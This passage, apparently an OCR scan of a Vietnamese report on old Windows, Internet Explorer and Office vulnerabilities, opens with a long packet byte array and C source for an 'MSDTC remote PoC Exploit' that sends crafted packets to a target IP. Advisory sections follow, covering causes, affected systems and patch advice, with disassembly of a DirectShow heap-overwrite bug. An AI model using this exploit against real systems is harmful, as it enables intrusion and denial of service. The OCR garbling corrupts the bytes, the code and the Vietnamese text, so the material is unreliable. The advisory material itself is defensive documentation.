\x90\x00\x90\x00"

“\x90\x0O\x90\x00\x90\xOO\x90\x00\x90\x00\x90\x00
\x90\x00\x90\x00"

"\ x90\x00\x90\x00\x90\x00\x90\x00\x90\x00\x90\x00
\x90\x00\x90\x00"

"\ x90\x00\x90\x00\x90\x00\x90\x00\x90\x00\x90\x%00
\x90\x00\x90\x00"

"M\ x90\x00\x90\x00\x20\x00\x90\x00\x90\x00\x90\x00
\%x90\x00\x90\x00"

"\x90\x00\x90\x00\x90\x00\x90\x00\x90\x00\x90\x00
\X920\x00\x90\x00"

T\x90\x00\x90\x00\x90\x00\x90\x00\x90\x00\x90\x00
\x90\x00\x90\x00"

"\x90\x00\x90\x00\x90\x00\x90\x00\x90\x00\x90\x00
\x90\x00\x90\x00"

"\ x90\x00\x90\x00\x90\x00\x90\x00\x90\x00\x90\x00
\x90\x00\x90\x00"

"\x90\x00\x90\x00\x90\x00\x90\x00\x90\x00\x90\x00
\x90\x00\x90\x00"

"\x90\x00\x90\x00\x90\x00\x90\x00\x90\x00\x90\x00
\x90\x00\x90\x00"

"\x90\x00\x90\x00\x90\x00\x90\x00\x90\x00\x90\x00
\X90\x00\x90\x00"

"\x90\x00\x20\x00\x90\x00\x50\x00\x90\x00\x90\x00
\x90\x00\x20\x00"

"\x90\x0O\x90\x0O\x9O\XOO\x90\x00\x90\x00\x90\x00
\x90\x00\x90\x00"

"\x90\x00\x90\x0O\x90\x0O\x90\x00\x90\x00\x90\x00
\X90\x00\x90\x00"

"\x90\xOO\x9O\xOO\x9O\XOO\x90\x00\x90\x00\x90\x00
\x90\x00\x90\x00"

"\x90\x00\x90\x00\x30\xOO\x90\x00\x90\x00\x90\x00
\x90\x00\x90\x00"

"\x90\x00\x90\x00\x90\x00\x90\x00\x90\x00\x90\x00
\X90\x00\x90\x00"

"\x90\x00\x90\x00\x90\x00\x90\x00\x90\x00\x90\x00
\X90\x00\x90\x00"
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"\x90\x00\x90\xOO\x90\x0O\x90\x00\x90\x00\x90\x00
\x90\x00\x90\x00"

"\x90\x0O\x90\xOO\x90\xOO\x90\x00\x90\x00\x90\x00
\x90\x00\x90\x00"

"\ x90\x00\x90\x00\x90\x00\x90\x00\x920\x00\x90\x00
\x90\x00\x90\x00"

"\x90\x00\x90\x0O\x90\xOO\x90\x00\x90\x00\x90\x00
\x90\x00\x930\x00"

"\x90\x00\x90\x00\x90\x00\x90\x00\x90\x00\x90\x00
\X90\x00\x90\x00"

"\X90\XOO\X90\XOO\x90\XOO\X90\XOO\X90\XOO\X90\XO0
\X90\x00\x90\x00"

"\x90\x00\x90\x00\x50\x00\x90\x00\x90\x00\x90\x00
\X90\x00\x90\x00"

"\x90\x00\x20\x00\x90\x00\x90\x00\x90\x00\x90\x00
\X90\x00\x90\x00"

“\x90\x0O\x90\XOO\x90\x00\x90\xOO\x90\xOO\x90\x00
\x90\x00\x90\x00"

"\x90\x00\x90\x00\x90\x00\x90\x00\x90\x00\x90\x00
\X90\XC0\XS0\X00"

"\x90\x00\x90\x00\x90\x00\x90\x00\x90\x00\x90\x00
\x90\x00\x90\xC0"

"\x90\x00\x90\x00\x90\xOO\x90\x00\x90\x00\x90\x00
\x90\x00\x90\x00"

"\x90\x00\x9o\xoo\x9o\xoo\x90\x00\x90\x00\x90\x00
\X90\xX00\xX90\x00"

"\x90\x00\x90\x00\x90\x00\x90\x00\x90\x00\x90\x00
\xX90\x00\x90\x00"

"\x90\x00\x90\x00\x90\x00\x20\x00\x90\x00\x90\x00
\X90\xX00\x90\x00"

"\x90\x00\x90\x00\x90\x00\x90\x00\x30\x00\x90\x00
\x90\x00\x90\x00"

"\x90\x00\x90\x00\x90\x00\x90\x00\x90\x00\x90\x00
\X90\x00\x50\x00"

"\x90\x00\x90\x00\x90\x00\x90\x00\x90\x00\x90\x00
\X90\x00\x90\x00"

"\x90\x00\x90\x00\x90\x00\x90\x00\x90\x00\x90\x00
\X90\x00\x90\x00™"
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M\ %x90\x00\x90\x00\x90\x00\x90\x00\x90\x00\x90\x00
\x90\x00\x90\x00"

1\x90\x00\x90\x00\x90\x00\x90\x00\x90\x00\x90\x00
\x90\x00\x90\x00"

1\ x90\x00\x90\x00\x90\x00\x90\x00\x90\x00\x90\x00
\x90\x00\x90\x00"

M\%90\x00\x90\x00\x90\x00\x90\x00\x90\x00\x90\x00
\x90\x00\x90\x00"

"\x90\x00\x90\x00\x90\x00\x90\x00\x90\x00\x90\x00
\x90\x00\x90\x00"

M\ x90\x00\x90\x00\x90\x00\x90\x00\x90\x00\x90\x00
\x90\x00\X90\x00"

"\x90\x00\x90\x00\x90\x00\x90\x00\x90\x00\x90\x00
\x90\%00\X50\x00"

"\x90\x00\x90\x00\x90\x00\x90\x00\x90\x00\x920\x00
\x90\x00\x90\x00"

"\x90\x00\x20\x00\x90\x00\x90\x00\x90\x00\x90\x00
\x90\x00\x90\x00"

"A\X90\x00\x90\x00\x90\x00\x90\x00\x90\x00\x90\x00
\X90\x00\X&0\x00"

T\X90\x00\x90\x00\x90\x00\x90\x00\x90\x00\x90\x00
\x90\x00\x50\x00"

"\X90\x00\x90\x00\x90\x00\x90\x00\x90\x00\x50\x00
\x90\x00\x90\xaC"

"\x90\x00\x32\x00\x90\x00\x90\x00\x90\x00\x50\x00
\x90\x00\x90\x00"

"\x90\x0O\x90\x00\x90\xOO\x90\x00\x90\x00\x90\x00
\x90\x00\x90\x00™"

"\x90\x00\x90\x00\x90\x00\x90\x00\x90\x00\x90\x00
\x90\x00\x90\x00“

“\x90\xOO\x90\xOO\x90\xO0\x90\x00\x90\xOO\xQO\xOO
\x90\x00\X90\x00"

"\x90\x00\x90\x00\x90\x00\x90\x00\x90\xX00\x90\x00
\x90\x00\x90\x00"

"\x90\x00\x90\x00\x90\x00\x90\x00\x90\x00\x90\x00
\X90\x00\x2902\x00"

"\x90\x00\x90\%x00\x90\x00\x90\x00\x90\x00\x90\x00
\x90\x00\x90\xC0"
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"M\ x90\x00\x90\x00\x90\x00\x90\x00\x90\x00\x90\x00
\X90\x00\x90\x00"

M\ x90\x00\x90\x00\x90\x00\x90\x00\x90\x00\x90\x00
\x90\x00\x90\x00"

M\ x90\x00\x90\x00\x90\x00\x90\x00\x90\x00\x90\x00
\x90\x00\x90\x00"

"\ x90\x00\x90\x00\x90\x00\x90\x00\x90\x00\x90\x00
\X90\x00\x90\x00"

1\x90\x00\x93\x00\x90\x00\x90\x00\x90\x00\x90\x00
\x90\x00\x90\x00" '

"\x90\x00\x90\x00\x90\x00\x90\x00\x90\x00\x90\x00
\xX90\x00\x90\x00"

TAXI0\x00\x90\x00\x90\x00\x90\x00\x90\x00\x90\x00
\x90\x00\x90\x00™"

"\X90\x00\x20\x00\x90\x00\x90\x00\x90\x00\x90\x00
\x90\x00\xS04\x00™"

"\x90\X00\x20\xx00\x90\x00\x90\x00\x90\x00\x90\x00-
\x90\x0C\x50\x00"

"\x90\x00\x90\x00\x90\x00\x90\x00\x90\x00\x90\x00
\x90\x00\x90\x00"

TAx9I0\x00\x920\x00\x90\x00\x90\x00\x90\x00\x90\x00
\X90\x00\x$0\x00"

“\x90\x0O\X90\XOO\X90\XO0\X90\X00\X90\X00\X90\X00
\X90\x00\x90\x00"

"\x90\x00\x92\x00\x90\x00\x90\x00\x90\x00\x90\x00
\x90\x00\x90\x00™"

"\XQO\XOO\X90\XO0\X90\X00\X90\X00\X90\X00\X90\x00
\X90\x00\x50\x00"

"\x90\x00\x90\x00\x90\x00\x90\x00\x90\x00\x90\x00
\x90\x00\x90\x00"

"\x90\x00\x90\x00\x920\x00\x90\x00\x920\x00\x90\x00
\X90\x00\x90\x00"

"\x90\x00\x90\x00\x90\x00\x90\x00\x90\x00\x90\x00
\X90\x00\x90\x00"

"\x90\x00\x90\xoO\x90\x0O\x90\x00\x90\x00\x90\x00
\X90\x00\xS0\x00" .

"\x90\x00\x90 x00\x90\x00\x90\x00\x90\x00\x90\x00
AX90\x00\x90\x00™"
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"\x90\x00\x90\x00\x90\x00\x90\x00\x90\x00\x90\x00
\x90\x00\x90\x00"

"\ x90\x00\x90\x00\x950\x00\x90\x00\x90\x00\x90\x00
\x90\x00\x90\x00"

"\x90\x00\x920\x00\x90\x00\x90\x00\x90\x00\x30\x00
\x90\x00\x90\x00"

"\x90\x00\x20\x00\x90\x00\x90\x00\x90\x00\x90\x00
\X90\x00\x50\x00"

“\x90\x00\x9“\xOO\x90\XOO\x90\xOQ\xQO\xOO\x90\xOO
\X90\x00\x90\x00"

M\ x90\x00\x90\x00\x90\x00\x90\x00\x90\x00\x90\x00
\X90\x00\x50\x00";

int banner (zhar *proga)
{
system("cls") ;
printf ("** MSDTC remote PoC Exploit **\n")
printf (" by Darkeagle \n"};
printf("\nUse: %s <ip> <port>\n", proga);
printf ("Default port: 3372\n");

(

printf ("Have fun!\n");

}

int main ( int argc, char *argv[] )

{

SOCKET sock;

WSADATA wsa;

struct sockaddr in addt;
int port;

char *ip addr;

if ( argc < 3 ) { banner(argv[0]); exit(0); }

banner (argv {0]) ;
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port = atoi{argv(2]);

ip_addr = argv([i];

printf (" [] preparing..\n");

WSAStartup (MAKEWORD(2,0), &wsa);

sock = socket (AF_INET, SOCK_STREAM, IPPROTO_IP);
addr.sin family = AF_INET;

addr.sin port = htons(port);

addr.sin addr.s_addr = inet_ addr (ip_addr);

printf (" [] connecting..\n");

if { connect(sock, ({(struct sockaddr*) &addr,
sizeof (addr)) == -1 )

{ printf("[-] connection failed!\n"); exit(0); }

printf (" [] sending crafted packet..."};

if ( send{(scck, packetl, sizeof {packetl),  0)
1}

It
[}

{ printf("[-] send failad!\n"); exit(0); }

if ( send(sock, packet2, sizeof (packet2), 0} =
1)

{ printf("[-] send failed!\n"); exit(0); }
printf ("ok!\n");

closesocket (sock]) ;

WSACleanup(; ;

return O;}
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7.5./ Giai phap khic phuc
Sir dung ban va 15i ctia nha cung cdp.

8./ L3i phwong thirc DirectShow trong DirectX
8.1./ Mikc 44 tic dong caa 16i
Cho phép ngudi khai thac chay ma [énh ctia minh trén hé théng ngudi bj tin
cong.
8.2./ Cac hé thong dnh hwéng
e Windows Server 2003 - DirectX 9.0 - 9.0c.
¢ Windows XP SP1 - SP2 - DirectX 9.0 - 9.0c.
o Windows 2000 SP4 - Microsoft DirectX 8.0 - 9.0c.
e Windows 98, 98SE, ME.
8.3./ Nguyén nhin

e L3i nay duoc tim thiy trong Windows Media 9 khi xu Iy file .avi. Thanh
phan DirectX cho phép ta c6 thé ghi vao mdt vung nh¢ bat ky mot gia trj bt
ky khi xir ly mét file .avi dugc vi€t theo mot dinh dang ma ngudi tAn cong
mudn khai thac 161 nay.

* V& nguyén tic Windows Media 9 ding QUARTZ. DLL aé gial ma va xu ly
file .avi. Do m{t sur thiéu sét trong viée kiém tra, QUARTZ.DLL ¢o thé
dugc lam cho luu trit mét gid tri dung chi tdi mot vi tri cap phat bét k¥ bing
cach tao ra mot phén tir “strn” voi truong chiéu dai dugc chon 14 mot gia tri
dac biét cua nguoi khai thac.

o Sau déy 1a mdt diém yéu trong ma lénh cia CAvIMSROutPin::ParseHeader
¢ thé dat mot gla tri dung danh lac huéng sau chudi ASCIIZ duoc chia
trong dit liéu “strn”:

6858A436 cmp edi, 6E727473h

tag
6858A43C jz 6858A45C
6858A45C cmp ecx, ebx ; EBX =3D 0
6858A45E jbe 6858A44C
6858A460 lea ecx, [eax+8] ; ECX -> bit

ddu cua data

6858A469 mov edi, [eax+4]
phin chiédn dai

; EDI =3D
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6858A46C cmp byte ptr [ecx+edi-1], O

68582471 lea ecx, [ecx+edi-1]
6858A475 jz 6858R44C
6858A477 and byte ptr [ecx], 0

L4i nay co6 thé dung tao ra mot didu kién khai thdc nhu 13 lam tran hoan toan
Header cua mot khéi cap phat trong Heap. Gia tri chidu dai cua phin tir
“strn” ndm tai offset 18h+7 s& lam cho byte thir hai cta truong kich thudce
tai offset 7 trong Header cia khéi cip phét bing 0, két qua 1a bo quan Iy
Heap sé thuc thi trén dit liéu clia nguoi khai thdc tir offset 800h tr& xudng
trong khéi cip phat da dugc ghi de.

8.4./ Giai phdp khic phuc

Str dung ban v4 16i ciia nha cung cip

9./ L6i bio mit Cross-Domain trong Internet Explorer

9.1./ Mirc 4 tac ddng ciia 16i

Cho phép thuc hién cidc mi I€nh fir xa. _

9.2./ Cac hé thong anh hwimg

Microsoft Windows 98.

Microsoft Windows 98 Second Edition.

Microsoft Windows Millennium Edition. \
Microsoft Windows NT® Workstation 4.0 Service Pack 6a.

Microsoft Windows NT Server 4.0 Service Pack 6a.

Microsoft Windows NT Server 4.0 Terminal Server Edition, Service Pack 6.
Microsoft Windows 2(_)()0 Service Pack 2, Service Pack 3, Service Pack 4.
Microsoft Windows XP, Microsoft Windows XP Service Pack 1.

Microsoft Windows XP 64-Bit Edition, MlCTOSOft Windows XP 64-Bit
Edition Service Pack 1.

Microsoft Windows XP 64-Bit Edition Version 2003.
Microsoft Windows Server® 2003.

Microsoft Windows Server 2003, 64-Bit Edition.

Internet Explorer 6 Service Pack 1.

Internet Explorer 6 Service Pack 1 (64-Bit Edition).

Internet Explorer 6 for Windows Server 2003.

Internet Explorer 6 for Windows Server 2003 (64-Bit Edition).
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Internet Explorer 6.

Internet Explorer 5.5 Service Pack 2.

Internet Explorer 5.01 Service Pack 4.

Internet Explorer 5.01 Service Pack 3.

Internet Explorer 5.01 Service Pack 2.
9.3./ Nguyén nhin

e L& hong lién quan t6i md hinh bio mét lién ving (cross-domain) trong
Internet Explorer. M hinh nay gilr cho cira s6 cua cac ving khac nhau
khéng chia sé thong tin. LS héng nay c6 thé xudt hién khi thyc hién cac ma
1énh script trong Local Machine zone. Dé khai thac 16 hdng nay, ké tin cong

. phai quan ly mot Web site vo1 dung y x4u, trong dé chira cc trang Web
duoc thiét ké dé khai thac 16 hong va du ngudi ding duyét céc trang web do.
Ké tAn céng ciing co thé tao cac thr dién tir dang HTML &€ khai thic 15
héng nay va du ngudi nhén doc cac thong diép d6. Sau khi ngudi dung truy
clp cac website ¢6 dung v xdu hay doc cdc thu dién tir HTML, ké tin cong
c¢6 thé truy cap thong tin tir mdt Web site khéc, truy cdp cic file trong hé
théng ciia ngudi dung va thyc hién cac doan ma bt ky trén hé thong do.
Doan ma c¢6 thé thuc hién véi quyén truy cdp cia ngudi dung hién tai.

e L3 héng lién quan t&i viée thuc hién thao tic drag-and-drop v6i ham con tro
trong cac sy kién HTML dong (DHTML) ciia Internet Explorer. LS héng
ndy ¢ thé cho phép luu cac file bit ky vao mot vi tri trong hé thdng cia
ngudi ding néu ho nhin chudt vao cdc lién két. S& khong xuit hién céc hop
thoai yéu cau ngudi dung chip thusn tai céc file nay hay khong Dé tan dung
16 hdng nay, ké tin céng cé thé tao ra nhing Web site vdi dung y xau c6
chira céc trang Web tao ra nhimg lién két lira dao. K& tin cdng c6 thé du
ngudi ding nhin chudt vao lién két d6. Hodc ciing-c6 thé tao ra cac email
khuén dang HTML chia céc lién két lira dao. Néu ngudi ding nhin chubt
vao cic lién két ndy, doan ma ma k¢ tn cong dinh thyc hién c6 thé khong
hoat déng nhung s& dugc luu lai trén hé théng cia ngudi ding.

o L& héng lién quan t¢i dja chi URL chira cdc ky tur dic biét. Khi két hop véi
viéc qua lam dung céc thudc tinh thim dinh quyén truy cdp co ban basic
authentication gdm “username:password@” trén dong dia chi URL, 15 hdng
nay cé thé lam sai lac URL trén address bar ciia trinh duyét Internet
Explorer. Pé lgi dung 18 hdng nay, ké tin cong, phai tao ra nhimg Web site
v6i dung ¥ xdu c6 chita cdc trang Web tao ra nhimg lién két lira ddo. Sau d6
du db ngudi dung truy cdp cic lién két d6. Hodc ciing ¢6 thé tao ra cic email
khudn dang HTML chira cac lién két lira ddo. Khi ngudi ding xem céc thu
ndy va nhin vao cic lién két, trinh duyét Internet Explorer khong thé mé cac
URL ma ké tén cong dua ra trén address bar, ma thay vao d6 1a cic ndi dung
trong Web Site ma ké tin cong mong mudn. Vi dy, ké tin cdng co thé tao
lien két ma mbi khi nguoi ding nhin chudt, trén address bar hién thi
http://www.tailspintoys.com nhung thirc té chira céc ndi dung ctia mét Web
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Site khéc, nhu http:/www.wingtiptoys.com ching han. (Ghi chi: cic tén
duoc néu ra & diy chi mang tinh minh hoa va ca hai déu chuyén téi
http://www.microsoft.com)

9.4./ Giai phap khic phuc

Mac dinh, Internet Explorer trén Windows Server 2003 duoc dat Enhanced
Security Configuration. Thiét l4p nay cui Internet Explorer tr dong khoa
toan bé nhitng tdn cong lgi dung 15 héng nay. Néu Internet Explorer
Enhanced Security Configuration bi disabled, cic bién phap bao vé dugc dit
thay vao d6 dé ngan cdc 16 hong khong bi khai théc.

Trong trudng hop tin cong bang trang web, ké tin cong phai nim dir Web

~ site chira cac trang Web dugc dung dé khai thac 16 héng. Ké tan cong khong

¢6 cach nao ép ngudi dung truy cdp cic Web site ¢6 dung y xAu. Thay vi d6,
ké thn cOng s& phai du dd nguoi dung t6i d6, thong thudmg bing viéc khuyén
c4o ho nhay chudt vao lién két s& din ho tdi site ciia ké tin cong.

Dung Internet Explorer 6 hodc m&1 hon.

Dung Microsoft Outlook Email Security Update hay Microsoft Outlook
Express 6.0 hay mdi hon, hodc Microsoft Outlook 2000 hay méi hon vdi cac
thiét 14p mic dinh.

St dung cac ban va 1i ctia nha cung cap.

10./ Ldi trong Indexing Service

10.1./ Mitrc d¢ tic dong cia 15i

Cho phép tan cong bang mét chuong trinh tir xa. L3i ndy duoc danh gia l1a
nghi€m trong vi ngudi tan cong cd thé tuée quyen diéu khién hé théng da bi
thn cong.

10.2./ Céc hé thong anh hwéng

Microsoft Windows 2000 Service Pack 3 and Microsoft Windows 2000
Service Pack 4

Microsoft Windows XP Service Pack 1

Microsoft Windows XP 64-Bit Edition Service Pack 1
Microsoft Windows XP 64-Bit Edition Version 2003
Microsoft Windows Server 2003

Microsoft Windows Server 2003 64-Bit Edition

10.3./ Nguyén nhan

Mot chuong trinh thue thi 16i tir xa ton tai trong Indexing Service thong qua
cach diéu khién tinh hop 12 cha truy vén. Ngudi tin cong cé thé tin cong vao
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diém yéu niy bing cach xdy dyng mét truy vén nguy hiém mang tinh tan
cong ma cho phép ké thn cong thyc thi énh didu khlen tir xa dén ma;r bi tin
cbng. Mot khi ké tn cong da thanh cong, chung ¢6 thé hoan toan kiém soat
hé thong bi thn cdng. Trong khi viée didu khién nay thanh cong, k¢ tin cong
c6 thé thuc hién tén cOng denial of service.

O nhimg hé théng ma nhimg ngudi quan tri thye hién qua nhiéu bude roi
cho phép web-base query interface nao d6 thong qua IIS vao indexing
service, bat ki user nao co6 thé chuyen mot message dac biét mang tinh tin
cong dén hé théng bi tin cong déu ¢6 kha ning khai thic 15i nay. Theo miic
dinh thi indexing service khong cho phép web-based query interface. Tuy
nhién, indexing service mic dinh tuin theo nhimg yéu ciu truyén thong trén
giao dién mang cuc bo dé cho phép web-based query interface. Do d6 bit ki
user nao da chimg thuc déu cé thé tin cong vao 16i nay.

10.4./ Giai phép khic phue

Str dung ban va 16i méi nhét cia nha cung cép

11./ L3i trong Microsoft Office XP
11.1./ Mirc 46 tic dong cia 16i

Rat nghiém trong vi ké tan cong co thé c¢6 quyén han ngang hang véi user bi
tan cong va cé thé hoan toan diéu khién toan bd hé thng dz bi tan cong, bao
gdm cai dit nhimg chuong trinh méi, xem, thay aoi hay xoa di liu, hodc tao
ra nhimg user account méi ¢4 toan quyén dleu khién trén hé thong Do 46
nhimg user account nao dugc ciu hinh it quyén han hon trong hé thong s& it bi
thiét hai hon nhitng admin c¢é toan quyén trén hé théng.

11.2./ Céc hé thong inh hwémg

Microsoft Office XP Software Service Pack 3
Microsoft Office XP Software Service Pack 2
Microsoft Project 2002

Microsoft Visio 2002

Microsoft Works Suite 2002

Microsoft Works Suite 2003

Microsoft Works Suite 2004

11.3./ Nguyén nhin

Mot 18 ton tai trong Microsoft Office XP software c6 thé cho phép chuong
trinh diéu khién tir xa kiém soat hé théng bi tén cong.

Bing cach gtri nhing file mang ma 15i, nhitng ké tAn cong khuyén khich ngudi
ding mé ching, khi nguai ding mo ra thi nhitng file nay duogc host trong



Internet Explorer bing cdc duomg link va nhimg ma 16i nay xam nhép vao hé
théng bi tin cong.

11.4./ Giai phap khic phuc

Sir dung ban vé I5i méi nhét ciia nha cung cap.

12./ Ldi trong Windows Sharepoint Services va Sharepoint Team Services
12.1./ Mirc 9 tic ddng cia 15i

Vira phai vi khi ké tin cong x4m nhdp thanh céng, chiing cé thé hiéu chinh
Web browser caches va intermediate proxy server caches. Thém vao do, ching
co thé chén nhirng ndi dung lira dao vao cac cache do.

12.2./ Cdc hé thong dnh huwéng
¢ Windows SharePoint Services for Windows Server 2003
e SharePoint Portal Server 2003 (tit ca cac phién ban)
e Small Business Server 2003 (tit ca cdc phién bén)
o SharePoint Team Services from Microsoft
12.3./ Nguyén nhan

L3i cross-site scripting c6 thé cho phép mét ké tan cong khuyén khich mét user
chay doan script nguy hiém. Néu script nay dugc chay, n6 s& thuc thi trong ngit
canh bao mdt cua ngum s dung Muc dich ctia ching nhim vao diém yéu yéu
cAu sy tuong tac gitra ngudi sit dung. Ldi nay cho phep ké tin cong truy cdp
vao bét ctr dit liéu nao trén hé théng bj anh hudng ma cé kha ning truy cép dén
nhitng user ¢4 nhan.

12.4./ Giai phap khic phuc

Download phién ban va 15i ciia nha cung cép.

13./ Li trong Windows cho phép khai thac théng tin

13.1./ Miirc dé tic dong ciia 16i
Léi ndy c6 tdm anh hudng hé trong vi nd cho phép khai thac théng tin. Mot khi
ké tAn cong khai thac 16i nay thanh cong, ching s& co the doc user name cla
ngudi dung tir Xa, d6 la nhimg nguoi dung dang md két ndi dé chia sé mot tai
nguyén. Luu y rang 16i nay khéng cho phép ké tan cdng diéu khién quyen user

mdt cach truc tiép, nhung nhimg thong tin ching liy dugc co thé 13 nhimg
thong tin hiru ich cho nhimg l4n tin cong ké tiép.

13.2./ Cac hé thong dnh hwing

e Microsoft Windows XP Service Pack 1 and Microsoft Windows XP Service
Pack 2

* Microsoft Windows XP 64-Bit Edition Service Pack 1 (Itanium)
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13.3./ Giai phap khic phuc

Update phién ban v4 15i ciia nha san xudt.
14./ Ldi trong Windows Shell
14.1./ Mire d9 tic dong cila 18i

TAm anh huong 14 quan trong vi mot ké tin cong co thé tdn cong vao diém yeu
bang cdch xdy dung mgt web page nguy hlem Web page nay co the cho phep
mot ké tén cong luu mot tap tin trong hé théng cua ngudi sir dung néu ngudi s’
dung da ludt qua trang web nguy hiém hay xem mot e-mail. M6t khi ke tin
cOng da thanh cong trong vige tan cong c6 thé hoan toan diéu khién he théng bi
tAn cong. Tuy nhién, dé khai thic 15i nay phai can dén tic dong cia ngudi sit
dung.

14.2./ Cac hé thong dnh huéng

e Microsoft Windows 2000 Service Pack 3 and Microsoft Windows 2000
Service Pack 4

e Microsoft Windows XP Service Pack 1 and Microsoft Windows XP Service
Pack 2

¢ Microsoft Windows XP 64-Bit Edition Service Pack 1 (Itanium)
¢ Microsoft Windows XP 64-Bit Edition Version 2003 (Itamum)
* Microsoft Windows Server 2003

e Microsoft Windows Server 2003 for Itanium-based Systems

¢ Microsoft Windows 98, Microsoft Windows 98 Second Edition (SE), va
Microsoft Windows Millennium Edition (ME)

14.3./ Nguyén nhin
Cong nghé Drag-and-Drop }éc nhdn khong ding tinh hop 1€ cta vai su kién
HTML dong (DHTML). Loi nay cho phép mét file dwoc download vao hé
thong cla ngudi sir dung sau khi ngudi st dung click vao dudmg link.
Nhimg sy kién DHTML la nhimg hanh dong dugc cung cdp boi DHTML

Object Model. Nhitng su kién nay c6 thé dugc sir dung trong doan m3 script dé
thém ndi dung ddng vao mét Web site.

Mot ké tin cong khi khai thac thanh céng diém yéu nay cé thé luu code cia
attacker da dugc chon loc vao hé théng tap tin cuc b cia ngudi sir dung. Méc
du code nay khdng dugce chay thong qua 18i nay mot cach true tiép, nhung hé
diéu hanh cé thé mé mot file néu nd duge luu vao nhitng khu vuc dé bi anh
huéng, hay mét user c6 thé v tinh m file d6 khién cho doan code cia ké tin
céng duogc chay.

14.4./ Giai phap khic phuc

Update ban va 15i cia nha san xuét.
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15./ Ldi trong License Logging Service
15.1./ Mirc d9 tic ddng ciia 10

Lbi nay anh huwéng nghidm trong dén cic hé théng bj tin cong vi ddy la mét 16
khién ké tin  cong c6 kha ning diéu khién tir xa. Mot khi khai thac thanh cong
15i nay, ké tin cong s& kiém soat va didu khién toan bd hé théng nhur cai dat
chucmg trinh, xem, xo4, sira, higu chinh va thdm chi tao ra cac user account
méi véi toan quyén diéu khién.

15.2./ Céc h¢ thong anh huéng
Microsoft Windows NT Server 4.0 Service Pack 6a
Microsoft Windows NT Server 4.0 Terminal Server Edition Service Pack 6

Microsoft Windows 2000 Server Service Pack 3 and Microsoft Windows
2000 Server Service Pack 4

Microsoft Windows Server 2003
Microsoft Windows Server 2003 for Itanium-based Systems
15.3./ Nguyén nhan

Trong Windows Server 2003, phuong thirc thn cong hay dugc dung nhit 12 tin
cong tir chdi dich vu (DoS). mét ké tin cong khi khai théc 15i nay thanh céng
s& ¢6 thé 1am cho License Logging service khéng cé hiéu luc trong Windows
Server 2003. viéc Restart lai License Logglng service cho phép service hoat
d6ng binh thuong. Tuy nhién néu viéc tan cong DoS khac lap lai thi License
Logging service van bj 16i.

D2 hiéu 16 hon, ta can biét License Logging service la mét cong cu dugc thiét
ké dau tién d& gitp khach hang quéan 1y nhimg license clia ho cho nhitng san
phém clia Microsoft server dugc ding ky trong mé hinh Server Client Access
License (CAL). License Logging service. la mét trong nhitng dich vu dugc
cung cip boi Windows Small Business Server 2003 hay phién ban truéc d6 dé
quan ly CALs. Theo mic dinh, License Logging service dugc disabled trong
Windows Server 2003. License Logging service sé khdng cé trong cac phién
béan sau cia hé diéu hanh Windows.

15.4./ Giai phap khic phuc

Cén update cac ban va 16i clia nha san xuat.

16./ Ldi trong OLE va COM
16.1./ Mirc @9 tic ddng clia 16i
L3i nay cho phép ngudi tdn cong ding ma 13i ctia minh dé tin cong.
16.2./ Cac hé thong anh hrimg
e Microsoft Windows 2000 Service Pack 3 via Microsoft Windows 2000

Service P_ack 4
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¢ Microsoft Windows XP Service Pack 1 va Microsoft Windows XP Service
Pack 2

e Microsoft Windows XP 64-Bit Edition Service Pack 1 (Itanium)
e Microsoft Windows XP 64-Bit Edition Version 2003 (Itanium)
¢ Microsoft Windows Server 2003

e Microsoft Windows Server 2003 for Itanium-based Systems

e Microsoft Exchange 2000 Server Service Pack 3 (uses the Windows OLE
component)

o Microsoft Exchange Server 2003 vi Microsoft Exchange Server 2003
Service Pack 1 (uses the Windows OLE component)

e Microsoft Exchange Server 5.0 Service Pack 2 (uses the Windows OLE
component)

¢ Microsoft Exchange Server 5.5 Service Pack 4 (uses the Windows OLE
component)

e Microsoft Windows 98, Microsoft Windows 98 Second Edition (SE), va
Microsoft Windows Millennium Edition (ME)

¢ Microsoft Office XP Service Pack 3 (uses the Windows OLE component)
¢ Microsoft Office XP Service Pack 2 (uses the Windows OLE component)

e Nhimng phidn mém cia Microsoft Office XP nhu: Outlook 2002, Word 2002,
Excel 2002, PowerPoint 2002, FrontPage 2002, Publisher 2002, Access
2002.

e Microsoft Office 2003 Service Pack 1 (Uses the Windows OLE component)
» Microsoft Office 2003 (Uses the Windows OLE component)

¢ Microsoft Office 2003 Software: Outlook 2003, Word 2003, Excel 2003,
PowerPoint 2003, FrontPage 2003, Publisher 2003, Access 2003, OneNote
2003.

16.3./ Nguyén nhin

. Mot l‘éi nang cao quyén han (privilege elevation) ton tai trong céch thirc nhimg
hé dieu hanh va nhiing chuong trinh da bj 16i truy cdp vao bd nh¢ khi ching
xir Iy nhimg file fuu trir dwoc cau trac COM. L6i nay c6 thé cho phép log on
vao user dé tude quyén diéu khién toan bd hé thong.

Mot ngudi tin cong phai dugce xac nhin logon mét cich hop 1€ va cé kha ning

log on mdt cach cuc bd dé khai thac 15i nay. Li nay khéng cho phép tin cong
tir xa hodc thong qua user v6 danh.

Neu mdt user hay mét chucmg trinh bi log vao voi quyen cua user admin, mét
ké tin cong s& thao ting tit ca cac quyén dleu khién hé théng. Nhimg user va
nhitng chwong trinh dugc ciu hinh véi quyén han ché hon s& it bi anh huéng
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hon so véi nhing user va nhimg chuong trinh c6 quyén Admin. Tuy vay, dé
tdn cong vao 16i nay trén Windows 2000, Windows XP, va Windows Server
2003, ké tin cong can phai cé s tuong tac voi user, do do viée tAn cong c6 kho
khan hon trén cac hé théng khac.

Trong Exchange Server 5.0, Exchange Server 5.5, Exchange 2000 Server, va
Exchange Server 2003 bt ki user vd danh nio c6 thé chuyen mdt message gy
ra 161 dic biét ti hé thong bi anh hudng ddu c6 thé gay ra 13i nay. Pé thuyc hién
15i thanh cong, nhimg ké tn cong s& gi mot e-mail message dén mat user cuc
bo dd log on, ngudi dung d6 s&€ ma file attachment c6 chira ddi tugng OLE
mang 18i. Nhiéu kiéu van ban khac nhau dwge attach c6 thé chira nhung kiéu
d6i tugng OLE gay 18i. Tat ca cac loai file Office cling nhu cac loai file third-
party khac c6 thé chira mgt d61 twgng OLE gay ra 161.

Vay OLE la gi? Ban0 viéc sir dung cong ngh¢ OLE, mot img dung ¢ thé cung
cdp su hd trg viéc nhing va lién két. OLE la mdt céng nghé ma nhimg img
dung sir dung dé taorava hiéu chinh nhitng van ban phirc hop. Nhitng vin ban
nay ¢ mét dinh dang, nhr la mdt van ban Microsoft Word, chira viéc nhing
(hay link to1) nhitng van ban thudc dinh dang khac nhu Microsoft Excel. OLE
2.0 lay s kién OLE bang cach hi¢u chinh tir bén trong. Thay vi duara mot tng
